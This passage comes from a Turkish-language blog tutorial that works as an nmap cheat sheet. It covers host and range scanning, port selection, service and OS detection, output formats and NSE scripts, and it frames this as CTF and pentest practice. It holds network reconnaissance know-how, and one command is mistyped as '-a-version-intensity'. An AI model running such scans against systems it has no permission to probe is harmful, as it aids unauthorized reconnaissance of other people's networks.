yazalım.</p><blockquote>nmap 5.6.7.8 5.6.7.9</blockquote><h4>c) Belirli Bir Aralıktaki IP Adreslerini Tarama</h4><blockquote>nmap <strong>&lt;Network Range&gt;</strong></blockquote><p>Bulunduğunuz ağdaki tüm IP adreslerini taramak isteyebilirsiniz. Bunu yapmak oldukça kolaydır. Bulunduğunuz ağın subnet değeri yani range değerini girmeniz yeterlidir. Örnek olması için “5.5.5.0/24” değerine sahip bir ağı tarayalım.</p><blockquote>nmap 5.5.5.0/24</blockquote><h4>d) Dosyada Yazılı Olan IP Adreslerini Tarama</h4><blockquote>nmap <strong>-iL</strong> &lt;dosya ismi&gt;</blockquote><p>Bazen taramak istediğiniz IP adreslerinin bilgisi bir dosya içinde olabilir ya da birden fazla IP adresi taramak isteyebilirsiniz. Bu IP adreslerini bir dosya içine kaydederek tek bir nmap komutu ile bu IP adreslerini tek seferde tarayabilirsiniz. Dosya içinden okumamız sağlayan nmap parametresi <strong>“-iL” </strong>parametresidir. Örnek olması için mesela IP adreslerini “IP_add.txt” isimli bir dosyada tuttuğumu varsayalım. Buradaki IP adreslerini şu şekilde tarayabilirim.</p><blockquote>nmap <strong>-iL</strong> IP_add.txt</blockquote><h4>e) Hostname Taraması</h4><p>Bazen elinizde IP adresi olmayabilir. Bir web sitesini taramak isteyebilirsiniz. Ama bunu çalıştırmak günümüzde suç sayılabilir. O yüzden kurumsal web sitelerine nmap sorgusu yapmayınız.</p><blockquote>nmap &lt;web sitesi veya hostname&gt;</blockquote><p>Ben örnek olması için “abc.com” isimli siteye nmap sorgusu yapmak istersek aşağıdaki gibi yapabiliriz.</p><blockquote>nmap abc.com</blockquote><h3>2) Port Taramaları ve Port Seçimleri</h3><p>Basit nmap taramalarında taranan portlar genelde “TOP 100” yani en çok kullanılan 100 portu tarayarak yapılır. Ama günümüzde mevcut 65535 port bulunmaktadır. Hele ki bir CTF yarışmasında bütün portları taramanız gerekmektedir. Bunu yapmak için kullanacağımız parametre <strong>“-p” </strong>budur.</p><h4>a) Tek Bir Portu Tarama</h4><blockquote>nmap <strong>&lt;IP Adresi&gt;</strong> -p <strong>&lt;port numarası&gt;</strong></blockquote><p>Bazen sadece bir port için bilgi toplamanız gerekebilir. Mesela HTTP servisi “80” numaralı portu kullanmaktadır. Sadece HTTP servisi hakkında bilgi toplamak istersek sadece “80” numaralı portu taramamız yeterlidir. Diğer portları taramaya gerek yoktur. IP adresi “5.5.5.9” olan bir sistemde sadce HTTP servisi hakkında bilgi almak istersek şu şekilde yapmamız gerekmektedir.</p><blockquote>nmap 5.5.5.9 -p 80</blockquote><h4>b) Belirli Aralıktaki IP Adreslerini Tarama</h4><blockquote>nmap <strong>&lt;IP Adresi&gt;</strong> -p <strong>&lt;port aralığı&gt;</strong></blockquote><p>Hemen 500 ve 1300 arasındaki portları tarayalım.</p><blockquote>nmap 5.5.5.9 -p 500–1300</blockquote><h4>c) Bütün Portları Taramak</h4><p>CTF yarışmalarında veya pentest çalışmalarında bütün portları taramamız gerekmektedir. Bunun için sadece parametre olarak “-p-” yazmanız yeterlidir.</p><blockquote>nmap <strong>&lt;IP Adresi&gt; -p-</strong></blockquote><p>Hemen bir örnek yapalım. “5.5.5.6” numaralı IP adresindeki tüm portları tarayalım.</p><blockquote>nmap 5.5.5.6 -p-</blockquote><h4>d) 100 Popüler Portu Hızlı Bir Şekilde Taramak</h4><p>Bunu yapmak için tek bir parametre yeterlidir. “-F” parametresi ile bunu hızlıca yapabilirsiniz.</p><blockquote>nmap -F &lt;IP adresi&gt;</blockquote><p>Hemen bir örnekte gösterelim.</p><blockquote>nmap -F 5.5.5.6</blockquote><h4>e) UDP Portlarını Taramak</h4><blockquote>nmap -sU &lt;IP Adresi&gt;</blockquote><p>Bazen sadece UDP bağlantısı kullanan portları tespit etmek isteyebiliriz. Bütün portlar üzerinde UDP bağlantısı kullanan portları tespit etmek için aşağıdaki örnek size yardımcı olucaktır.</p><blockquote>nmap -sU -p- 5.5.6.7</blockquote><h4>f) TCP Bağlantısı Taraması</h4><p>Sadece TCP bağlantısı kullanan portları kullanan portları tespit etmek için;</p><blockquote>nmap -sT &lt;IP adresi&gt;</blockquote><p>Hemen bir örnekte gösterelim.</p><blockquote>nmap -sT 4.4.4.9</blockquote><h4>g)TCP SYN Scan</h4><p>TCP SYN scan default olarak kullanılan bir taramadır. Siz bunu parametre olarak vermeseniz bile nmap bunu kendi otomatik olarak kullanacaktır.</p><blockquote>nmap -sS &lt;IP adresi&gt;</blockquote><h3>3) Servisler Ve İşletim Sistemi Sistemi Hakkında Bilgi Toplama</h3><p>Bu bölüm oldukça büyük önem taşımaktadır. Genelde bir sisteme nasıl sızabileceğiniz hakkında en büyük bilgiyi bu aşamada öğrenirsiniz.</p><h4>a) Servisleri Tespit Etme</h4><blockquote>nmap <strong>-sV</strong> &lt;IP Adresi&gt;</blockquote><p>Yukarıdaki genel gösterimde “-sV” parametresi bize servisleri tespit etmemizde bize yardımcı olur. Hemen bir örnek ile görelim</p><blockquote>nmap -sV 5.5.5.3</blockquote><p>Ama tabiki de bu işlemi daha agresif yapmamızı sağlayan yardımcı bir parametre bulunmaktadır. Bunun kullanımı da aşağıdaki gibidir.</p><blockquote>nmap -sV --version-intensity &lt;Intensity Değeri 0–9 arasında&gt; &lt;IP adresi&gt;</blockquote><p>“ --version-intensity” paremetrisi ile versiyon tespitini daha agresif şekilde yapabiliriz. Intensity değeri ise “0–9” arasında bir değer almaktadır. Hemen bir örnek ile görelim.</p><blockquote>nmap -sV -a-version-intensity 7 143.156.7.94</blockquote><h4>b) İşletim Sistemini Tespit Etme</h4><blockquote>nmap -O &lt;IP adresi&gt;</blockquote><p>“-O” parametresi ile işletim sistemini tespit edebiliriz. Hemen bir örnekte görelim.</p><blockquote>nmap -O 56.36.78.3</blockquote><h4>c) Karma Tarama</h4><p>Nmap üzerinde tek bir parametre ile hem servisler hem de işletim sistemi hakkında tarama yapabiliriz.</p><blockquote>nmap -A &lt;IP adresi&gt;</blockquote><p>“-A” parametresi güzel bir parametredir. Ben de genelde bu parametreyi kullanılırım. İki işi aynı anda yapmak her zaman daha iyidir.</p><blockquote>nmap -A 5.5.56.67</blockquote><h4>d) PING Atmadan Tarama Yapma</h4><p>Karşı tarafa ping atmadan nmap taraması yapmak için “-PN” parametresi kullanılır.</p><blockquote>nmap -PN &lt;IP adresi&gt;</blockquote><h3>4) Nmap Çıktılarını Kaydetme</h3><p>Tarama sonucu elde ettiğiniz bilgileri bir yere kaydetmeniz gerekebilir. Bunun için kullanacağınız birkaç parametre bulunmaktadır.</p><h4>a) Dosyayı Normal Kaydetme</h4><blockquote>nmap -oN &lt;Dosya ismi&gt; &lt;IP adresi&gt;</blockquote><p>Mesela ben nmap sonucumu “sonuc.txt” dosyasına kaydedeyim.</p><blockquote>nmap -oN sonuc.txt 192.168.10.7</blockquote><h4>b) XML Dosyası Olarak Kaydetme</h4><blockquote>nmap -oX &lt;Dosya ismi&gt; &lt;IP adresi&gt;</blockquote><p>Yukarıdaki örnekteki taramayı XML türünde kaydedelim.</p><blockquote>nmap -oX sonuc.txt 192.168.10.7</blockquote><h4>c) Tüm Dosya Türlerinde Kaydetme</h4><blockquote>nmap -oA &lt;Dosya ismi&gt; &lt;IP adresi&gt;</blockquote><p>“-oA” parametresi ile dosyaları tüm dosya türlerinde kaydedebiliriz. XML veya normal kaydetmenin birleştirilmiş hali düşünebilirsiniz.</p><blockquote>nmap -oA sonuc.txt 192.168.10.7</blockquote><h3>5) Script Kullanma</h3><p>Nmap bünyesinde 500 den fazla script barındırmaktadır. Bunları kullanarak daha fazla bilgi edinebilirsiniz. Bu scriptleri default olarak “-sC” parametresi ile kullanabilirsiniz.</p><blockquote>nmap -sC &lt;IP adresi&gt;</blockquote><p>Bir örnekte görelim.</p><blockquote>nmap -sV -sC 192.168.10.7</blockquote><h3>Karma Örnekler</h3><p>Arkadaşlar buraya kadar genelde parametreleri tek başına kullandık. Ama bu yanlış anlaşılmasın. Birden fazla parametre aynı anda kullanılabilir. Bunları aşağıdaki örnekte görebilirsiniz. “-T” parametresi hız ile ilgili bir parametredir.</p><blockquote>1) nmap -p- -sV -sS 192.168.10.2</blockquote><blockquote>2) nmap -v -p 1–65535 -sV -O -sS -T5 192.168.10.2</blockquote><blockquote>3) nmap -v -sS -A -T5 192.168.10.2</blockquote><blockquote>4) nmap -sV -v -p 139,445 10.0.1.0/24</blockquote><p>Buraya kadar olan her detayı en ince ayrıntısına kadar anlatmaya çalıştım. Herkesin kullanabileceği bir “cheat sheet” oluşturmayı denedim. Umarım sizler için faydalı olmuştur. Soru, görüş ve geri bildirimleriniz için <strong>fatihturgutegitim@gmail.com</strong> adresine mail atabilirsiniz.</p><p>Ayrıca bana <a href="https://www.linkedin.com/in/fatih-turgut-a1bbb6179/">linkedin </a>üzerinden de ulaşabilirsiniz. Okuyan herkese teşekkür eder sağlıklı günler dilerim. Daha fazla bilgi edinmek isterseniz aşağıdaki linklere bakabilirsiniz. Bir sonraki yazımda görüşmek üzere…</p><h3>Yararlı Linkler</h3><ol><li><a href="https://highon.coffee/blog/nmap-cheat-sheet/">https://highon.coffee/blog/nmap-cheat-sheet/</a></li><li><a href="http://cs.lewisu.edu/~klumpra/camssem2015/nmapcheatsheet1.pdf">http://cs.lewisu.edu/~klumpra/camssem2015/nmapcheatsheet1.pdf</a></li><li><a href="https://www.stationx.net/nmap-cheat-sheet/">https://www.stationx.net/nmap-cheat-sheet/</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b0708d679e60" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>